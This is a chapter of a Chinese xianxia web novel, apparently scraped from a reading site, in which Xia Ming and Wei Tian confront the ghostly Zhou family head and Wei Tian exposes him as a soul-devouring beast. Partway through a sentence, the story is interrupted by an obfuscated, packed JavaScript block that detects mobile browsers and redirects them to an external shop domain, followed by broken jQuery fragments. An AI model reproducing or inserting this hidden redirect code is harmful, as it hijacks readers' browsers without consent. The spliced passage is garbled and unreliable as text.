沉默在二人间蔓延。夏鸣压下心头翻涌的情绪,垂眸凝神思索。
七百年前,孙、李、钱三家联手覆灭周家,并以各自的方式,统治着清河村。孙家依仗家主武力、李家垄断知识与教化、钱家通过诡异的净心丹。
这种统治模式持续了七百年,净心丹售卖了七百年。夏鸣身体绷紧,问蔚天:“有什么办法,可以区分真正的人类,和被噬心兽夺舍的‘无心人’吗?”
蔚天摇摇头:“除了搜魂,别无他法。”
夏鸣咬了咬唇,继续追问:“为什么,人类和噬心兽应该是不同的灵魂吧?”
“理论上,的确不同,”蔚天抬步,向周宅方向缓缓行去,“但噬心兽依附于人的灵魂而生,在天地法则层面,本就与人类灵魂一体两面。它依靠本能夺舍后,只会在宿主生前最执着的方面表现得极端,而在其他地方,无论记忆、情感、自我认知,皆与原本无异。唯有深入搜魂,才能揪出那被扭曲的极端心性,进行辨别。”
夏鸣迈步紧紧跟随,低着头声音都变小了:“如果是这样,这个村子,七百年,说不定这些村民已经都……”
都已经不再是人类,而是披着人皮、继承了记忆、误以为自己仍是“人”的噬心兽。
蔚天忽然轻轻笑了,再发话时,语气里竟然夹杂着一丝讽刺:“难道只有这个村子?”
夏鸣五指猛地拽紧自己衣摆,泊浪港炼器阁,炼器师青火的面容浮现在脑海。她也是无心人,却已成了名动一方的人物。
这天下,究竟还有几个活人?
午后的阳光铺洒在前方的石板路上,明亮得刺眼。可每向前迈出一步,脚下都踩着自身拉出的、浓重而扭曲的阴影。身前越是光明,身后的黑暗便越是深邃,正如人类与噬心兽,本就是一体两面。而在如今的世道,谁也不知,那黑暗到底渗透多深。
所以,在《蔚天传》中,他便是怀着这般难以言喻的悲怆与愤怒,最终选择抹去所有生灵,连那孕育了这无尽阴影的天道,也一并斩落剑下。
夏鸣重新抬头,蔚天的背影近在咫尺,不再是隔着单薄冰凉的书页,而是真实地、鲜活地立在这里。她抿了抿唇,小跑两步,与他并肩,问:“要去阴阳殿了吗?”
“我要入周宅,那鬼魂既是周家主,便一定知晓师父的消息。”蔚天神情平静,但夏鸣透过神识,清晰地看见,他身周那层精妙控制的魂力“衣袍”,在说出这句话的同时,泛起了一丝难以抑制的波动。
“也带上我吧?”夏鸣试探发问,见蔚天撇来的眼神,莫名朝左往右飘忽视线:“那个,我原本就是为了和你一起调查此事来的,要是遇见危险,用师姐们给的法宝也能自保,不会拖你后腿。”
“你自然要与我同去,”蔚天收回视线,垂下的手拂了拂袍角,“阴阳殿、厉鬼、无心人皆聚于此,只有跟着我才安全。”
夏鸣在心中暗自握紧拳,高兴得几乎要跳起来。
“况且,”蔚天顿了顿,微微将脸偏向另一侧,“最初便决定带上你,不会半途抛下。”
街道依旧寂静,尚未被重新涌出的人烟填满,连一丝风也无。夏鸣好一会无言,直到蔚天投来略带困惑的注目,她都不知道自己现在是什么表情,只是脱口而出:“蔚天,你好温柔啊。”
“这话,倒是久违了。”蔚天笑了笑。
对他的好奇压倒了一切。夏鸣只想提一个不合时宜的问题:“所以你年轻的时候,真的很喜欢救人、救各种小动物?”
“……”蔚天张了张嘴,又绷住唇角闭上了口,点点头。
“那你现在还喜欢吗?”
蔚天极其快速地垂看了一眼自己的双手,沉默片刻后望向街道尽头——那座在明媚阳光下,依旧显得阴森黑沉的破败周宅。阴阳殿那巨大的灵蟠虚影,已在宅院上空隐约可见。
“已经不是我能随心所欲的时候了。”他收回目光,“再往前,阴阳殿的人会察觉,我们现在就入宅。”
一阵风原地拔起卷住二人。夏鸣护住头发,眼前发白的天色瞬间暗沉,视野一片昏花,只能靠体表的神魂感知到,自己正以惊人的速度飞行,越过灵蟠、阴阳殿人阵、周宅的旧屋檐,落入庭院。
双脚落地,夏鸣第一时间凝出仿素问剑形质的魂剑提在手,警惕着那可怕的黑雾,视线巡梭。
宅院相当宽阔,最中央摆设一座高大的假山,山上摆放着各式小石人,但陈年尘埃已模糊了它们的模样。山顶处刻着一张巨大的八卦图。假山旁边就是参天古木,然而树木已然半枯,高耸的枝丫光秃秃地伸向天空,如同濒死之人伸出的、干枯绝望的手臂,了无生机。
三面环绕的旧式屋舍,有一处栏杆已然腐朽的走廊,通向幽深的内院。
滚滚的黑雾直到此时,才从内院方向极速蔓延而来。夏鸣执好剑,另一手已掏出秦风赠的符箓,正要贴上剑身。
蔚天以手背拦住剑刃,往回一抬。汹涌的黑雾瞬间将二人吞没,却无论如何也突破不了那层椭圆形的无形屏障。蔚天慢慢地向内院行去,神魂逼音刺破黑雾:“周先生,我是蔚天,高寒的弟子。你可记得?”
正疯狂冲击屏障的黑雾,骤然凝滞,眨眼间朝内院回缩,消散一空。夏鸣放松肩膀散掉魂剑,同蔚天一道步入内院。
内院花圃旁,立着一位身着旧式长袍的白发老者。除了脚下没有影子,他面容清晰,身形凝实,与生人无异。但在夏鸣的神魂视界里,能清晰捕捉到,在他看似鲜活的皮肤下,无数扭曲的黑雾线条正若隐若现,缓缓蠕动。
此人就是周家主周润良,亦是盘踞此宅、令全村胆寒的“厉鬼”。
“蔚天,蔚天,”周润良轻声咀嚼名字,看向蔚天,“与高寒一同入村的那个少年,救了村中不少人,很会照顾慈善堂的孩子们。你和当年一模一样。”
蔚天的神情瞬间紧绷,抿紧唇,连身子也不自觉地微微前倾,声音陡然拔高:“在我离开之后,师父经历了什么,你知道吗?”
“原来是为了你师父而来,”周润良抬起手摸了摸下巴,挂上可称亲切的笑容,“我知道。”
“那……”蔚天的话还未说完,周润良抬掌做了个“且慢”的手势:“但我总不能白白告诉你。”
蔚天盯着他,慢慢后仰,恢复了淡然之姿:“你想要什么?”
“看在高先生与我有旧的份上,也不为难你。把外面阴阳殿的人杀掉,或赶走,我自然会将所知之事尽数相告。”
夏鸣心头顿时一沉。这周润良,果然也不是什么善茬。屠戮村民,连孙家主都被重伤至此,若非阴阳殿前来镇压,今日这街上,不知又要添多少亡魂。
哪怕村子里十之八九都是无心人,但万一还有存活的人类,赶走阴阳殿放出厉鬼,无异于纵虎归山,害人性命。夏鸣转向蔚天,见他神情凝重,似是在认真考虑,说:“不行,蔚天,如果答应,村子里可能就真的没有活口了。”
周润良皱起眉,目光如刀割向夏鸣,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587770|202811||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道刀锋的黑雾也瞬间朝她面门刺去,“长辈说话,哪儿有小辈插嘴的份!”
直面赤裸的杀意,夏鸣浑身汗毛倒竖,本能地凝魂成盾挡在身前。黑雾利刃撞上一道无形屏障,发出轻微的“嗤”声,顷刻间如同烟雾般消散。
“她是我的人,周先生,莫乱动。”蔚天声音低沉下来,夹杂着不容置疑的警告。
“替你教训下小辈罢了,考虑得如何?”
“你跟以前,已经完全不同,”蔚天沉吟片刻,“记得我与师父初到清河村时,你一眼看出我们是医修,热情相邀。那时路边有个小乞丐假装摔倒偷你的钱,你也只是及时扶住他,问清缘由后,将他收入慈善堂,供他吃饱穿暖。”
“……”周润良面上闪过一丝恍惚,良久,才低下头看着脚下的花圃,那里只剩几茎残叶败草,不复往昔的姹紫嫣红。他道:“人都是会变的,何况我已经不算活人。”
“是啊,”蔚天抬袖,素问剑自虚空中缓缓抽出,寒光流转,“你还记得临终前么?仇恨填满心腔的那一刻,是不是有灵魂被啃噬的剧痛?”
周润良身周黑雾开始不安地涌动、聚集。他冷下脸:“是有,但我修魂功夫深厚,方能以魂体存续至今。蔚天,你这是何意?”
“周先生,你早就死了,现在这具魂体,不过是属于吃了你的噬心兽。”蔚天说罢,素问剑爆发出璀璨白芒,直直冲向被黑雾包裹的周润良!
夏鸣顿时明悟,孙、李、钱三家篡改历史,而玄道宗本是正道,既然周家主魂力深厚,即便化鬼也应保有理智……那他理应不会无差别屠戮平民,更遑论在外杀戮生灵后,再回来如猫戏鼠般,让全村笼罩在恐怖之中。
除非,真正的周润良,在临终前被滔天的怨恨与负面情绪淹没,无意中滋养了伴生的噬心兽。那兽趁机吞噬了原本的人类灵魂,继承了全部记忆与最强烈的执念,才犯下这累累罪行,并偏执地认定自己就是“周润良”。
“胡说!”周润良脸上青筋爆起,仍然陷在对记忆与人格的顽固认同中,黑雾如同层层海浪,拼尽全力抵御着那锐不可当的白芒,但白芒寸寸逼近,势如破竹。他咬牙低吼,声音里透出疯狂:“我还记得你师父的事!你不想知道了吗!”
“你既非人类,便是我的仇人。”蔚天面无表情抬掌,手腕翻转猛地攥拳,“我绝不向仇人屈服。”
素问剑长啸一声,瞬间切断黑雾,也切断周润良凝实的魂体。他发出无形的、唯有灵魂才能听闻的惨叫,震得夏鸣连忙捂住耳朵。周润良被截断的腰腹处,爆发出浓烈至极的黑雾,瞬间笼罩了整座内院。
夏鸣轻吸一口气,看向蔚天。他招手,素问剑自一片混沌的漆黑中划出一道清亮的光路,悬在他身侧。夏鸣问:“他死了吗?”
“只是大幅削弱了他的力量,否则再给他几日,就能突破灵蟠出去伤人性命。”蔚天神色冷然。
夏鸣哦了声,瞥他一眼,再瞥一眼,看得蔚天下颚线绷紧的弧度都微微软化,问:“怎么了?”
“我还以为……”被抓包的夏鸣低下脑袋,双手食指相互转圈,“原来你这么讨厌噬心兽。”
“岂止讨厌,”蔚天吐出一口长气,“我恨噬心兽,它们毁了我的一切。”
夏鸣点头。经过这一遭,她也逐渐明白《蔚天传》中那灭世剑仙刻骨的仇恨与愤怒,是从何而来。
当整个世界都已被你最憎恨的东西侵蚀、占据、扭曲。毁灭它,或许真的是唯一的选择。